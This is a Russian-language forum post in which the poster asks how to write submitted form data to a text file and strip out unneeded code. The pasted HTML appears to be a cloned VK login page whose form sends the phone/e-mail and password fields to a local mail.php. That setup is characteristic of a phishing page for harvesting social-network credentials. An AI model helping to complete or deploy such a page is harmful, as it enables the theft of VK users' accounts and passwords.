Доброго всем времени суток.
Помогите пжст.
Как записать данные например в текстовый файл из нижеприведенной формы
Заранее всем спасибо за ответы и заранее спасибо за понимание.

<form method="post" name="login" id="login" action="mail.php">
<input type="hidden" name="act" id="act" value="login">
<input type="hidden" name="to" id="to" value=""/>
<input type="hidden" name="_origin" value="">
<input type="hidden" name="ip_h" value="" />

<table align="center" cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td class="ta_r log_label"><span class="grey">Телефон или e-mail</span></td>
<td style="padding: 0px">
<input class="inputText" type="text" name="email" value="" id="email" style="width: 152px; margin: 0px"/>
<td>
</tr>
<tr>
<td class="ta_r log_label"><span class="grey">Пароль</span></td>
<td style="padding: 0px">
<input class="inputText" type="password" name="pass" value="" id="pass" style="width: 152px; margin: 0px"/>
</td>
</tr>
<tr>
<td class="ta_r log_label">&nbsp;</td>
<td>
<input type="hidden" name="expire" id="expire" />
<script type="text/javascript">
onDomReady(function() {
new Checkbox(ge('expire'), {
width: 150,
label: 'Чужой компьютер'
});
focusAtEnd(ge('email').value ? ge('pass') : ge('email'));
if (ge('fast_restore_btn')) {
ge('fast_restore_btn').parentNode.appendChild(ce('div', {innerHTML: '<iframe name="fast_restore_test_frame"></iframe><form id="fast_restore_test_form" method="POST" action="../https@login.vk.com\@act=create_test&_origin=http_3a_2f_2fvk.com&' + Math.random() + '" target="fast_restore_test_frame"></form>'}, {position: 'absolute', visibility: 'hidden'}));
ge('fast_restore_test_form').submit();
}
});
</script>
</td>
</tr>
<tr>
<td class="ta_r log_label">&nbsp;</td>
<td><div style="height:20px; margin:5px 0px">
<div class="button_blue"><button onclick="quick_login();return cancelEvent(event);">Войти</button></div><span class="divide">&nbsp;</span><div class="button_blue"><a href="join" class="button_link"><button onclick="location.href='join';return cancelEvent(event);">Регистрация</button></a></div>
</div></td>
</tr>
</table>
<input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px" />
</form>

Тут конечно на сколько я понимаю куча ненужного...помогите и его тоже убрать..!!!!!!!!!очень срочно надо!!!